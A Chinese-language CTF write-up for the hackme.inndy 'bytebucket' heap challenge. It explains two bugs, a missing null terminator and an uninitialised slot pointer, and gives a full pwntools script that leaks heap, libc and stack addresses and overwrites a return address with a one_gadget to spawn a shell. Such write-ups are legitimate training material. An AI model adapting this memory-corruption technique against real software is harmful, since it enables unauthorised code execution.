hackme inndy bytebucket题目

题目链接:https://hackme.inndy.tw/scoreboard/ (随便输个名字登录即可看到题目列表)

下载bytebucket文件,checksec下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序功能

基本功能是增删改查bucket,一个bucket对应多个slot。bucket结构体:

1
2
3
4
0x8字节      : 下一个bucket的地址
0x8字节 : slot_count
0x10字节 : bucket_name
0x8 * n字节 : n个slot地址

有下面几个操作:

1
2
3
4
5
6
7
8
1. Make bucket  插入一个bucket到buckets链中,给该bucket填充slot。这条bucktes链的链头地址存在0x203148处(g_bucket_head),在0x203140处存储当前指向的bucket(g_bucket_current)。
2. List bucket
3. Find bucket 通过bucket_name找到bucket,并用g_bucket_current指向该bucket
4. Next bucket
5. Drop bucket
6. Open bucket 打开g_bucket_current指向的bucket,可打印、编辑、删除slot,重命名bucket
7. Sort bucket
8. Exit bucket

程序开始新建了两个bucket:

1
2
3
--- List of Buckets ---
Bucket[1]->name = "/root/locked"; // 这个bucket有个slot即第一个flag,第二个flag通过需shell来获取
Bucket[2]->name = "/home/ctf/flag";

漏洞点

  1. 在读取用户输入的字符串时,可以让其不在末尾拼接\x00(sub_EA8函数和sub_CBA函数),导致可以通过printf泄露出heap地址。如:输入0x10长度的bucket_name再List bucket输出可泄露堆地址;输入0x100长的字符可打印出g_bucket_current的值, 即泄露堆地址。
  2. make bucket操作:新建的bucket内存,并不清零,而当用户输入的slot大小为0时,其也不把slot地址置0,也就是如果在这个slot处我们先放入一个地址值,我们就可以通过操作这个slot来读写这个地址指向的内存。可以利用其泄露libc地址,泄露栈地址,达到UAF,覆盖某个bucket的下一个bucket的地址等。

pwn脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# -*-coding:utf-8-*-
from pwn import *
import pdb

# context.log_level = "debug"

def make_bucket(p, bucket_name, slot_datas):
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Size of bucket >>")
p.sendline(str(len(slot_datas))) # slot_count
p.recvuntil("Name of bucket >>")
p.sendline(bucket_name)

for i in xrange(0, len(slot_datas)):
p.recvuntil("Size of content >>")
p.sendline(str(len(slot_datas[i])))
if len(slot_datas[i]) > 0:
p.recvuntil("Content of slot >>")
p.send(slot_datas[i])


def find_bucket(p, bucket_name):
p.recvuntil("What to do >>")
p.sendline("3")
p.recvuntil("Bucket name to find >>")
p.sendline(bucket_name)


def drop_bucket(p):
p.recvuntil("What to do >>")
p.sendline("5")

## run using my libc.so
# env = {"FLAG1": "flag{flag1}"}
# p = process("./bytebucket2", env=env)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

##
# env = {"FLAG1": "flag{flag1}", "LD_PRELOAD" : "/root/pwnfile/inndy_libc-2.23.so.x86_64"}
# p = process("./bytebucket2", env=env)
p = remote("hackme.inndy.tw", 7722)
libc = ELF("/root/pwnfile/inndy_libc-2.23.so.x86_64")


# Step1: leak heap addr
make_bucket(p, "PPP", ['pppp']) # 增加栈地址,避免要打印出的栈地址为0xXXXXXXXX00YY,打印该地址时会\x00截断,从而只输出0xYY
make_bucket(p, "QQQ", ['qqqq'])
find_bucket(p, "A" * 0x100) # 会输入0x100个字符到0x203040,printf打印0x203040的值时就会打印出跟在它后面的0x203140处的值,即g_bucket_current的值
p.recvuntil("A" * 0x100)
addr_heap = u64(p.recvuntil('"', drop=True).ljust(8, "\x00"))
log.success("addr_heap: " + hex(addr_heap))
addr_flag1 = addr_heap - 0x100

# Step2: get flag1
payload = [p64(addr_flag1) * 0x30] # 先在堆上布置flag1的地址
make_bucket(p, "AAA", payload)
drop_bucket(p)

make_bucket(p, "BBB", ["bbbb"])
make_bucket(p, "CCC", [""]) # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1") # 打印CCC这个bucket的slot,该slot就是flag1的地址
p.recvuntil("Row[0]:")
flag1 = p.recvuntil("+---", drop=True)
log.success("flag1: " + flag1)
p.recvuntil("What to do >>")
p.sendline("5")


# Step3: leak libc addr
addr_free_chunk = addr_heap + 0x150
payload = [p64(addr_free_chunk) * 0x30]
make_bucket(p, "DDD", payload)
make_bucket(p, "EEE", ["eeee"]) # near top chunk

find_bucket(p, "DDD")
drop_bucket(p)
make_bucket(p, "FFF", ["ffff"])
make_bucket(p, "GGG", [""]) # let size of slot content be zero


p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:") # 打印CCC这个bucket的slot,该slot值指向一个unsorted bin chunk,打印该slot就泄露出unsorted bin地址,再计算出libc基址
addr_unsorted_bin = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_unsorted_bin: " + hex(addr_unsorted_bin))
addr_libc = addr_unsorted_bin - 0x3c3b78 # fix it. In my libc: 0x3c4b78
log.success("addr_libc: " + hex(addr_libc))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0x140)

# Step4: leak stack addr by environ
addr_environ = addr_libc + libc.symbols["environ"]
addr_system = addr_libc + libc.symbols["system"]

make_bucket(p, "HHH", [p64(addr_environ) * 0x20])
drop_bucket(p)
make_bucket(p, "III", ["iiii"])
make_bucket(p, "JJJ", [""]) # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("1")
p.recvuntil("Row[0]:")
addr_stack = u64(p.recvuntil("+---", drop=True).strip().ljust(8, "\x00"))
log.success("addr_stack: " + hex(addr_stack))
p.recvuntil("What to do >>")
p.sendline("5")

# at this moment, we have a unsorted bin chunk(size: 0xc0)

# Step 5: modify ret to one_gadget
addr_ret = addr_stack - 0xf0
# 该one_gadget需满足[rsp+0x70] == NULL
addr_one_gadget = addr_libc + 0xf0897 # fix it. In my libc: 0xf1147
make_bucket(p, "KKK", ["k"] * 4) # consume the unsorted bin chunk

make_bucket(p, "LLL", [p64(addr_ret) * 0x30])
make_bucket(p, "MMM", ["mmmm"]) # near top chunk

find_bucket(p, "LLL")
drop_bucket(p)

make_bucket(p, "NNN", ["nnnn"])
make_bucket(p, "OOO", [""]) # let size of slot content be zero

p.recvuntil("What to do >>")
p.sendline("6")
p.recvuntil("What to do >>")
p.sendline("2") # edit data
p.recvuntil("Which line of data >>")
p.sendline("0")
p.recvuntil("Size of new content >>")
p.sendline("5")
p.recvuntil("New content >>")
p.send(p64(addr_one_gadget)[:5])
p.recvuntil("What to do >>")
p.sendline("5")


# Step 6: exit to execute one_gadget
p.recvuntil("What to do >>")
p.sendline("8")

p.interactive()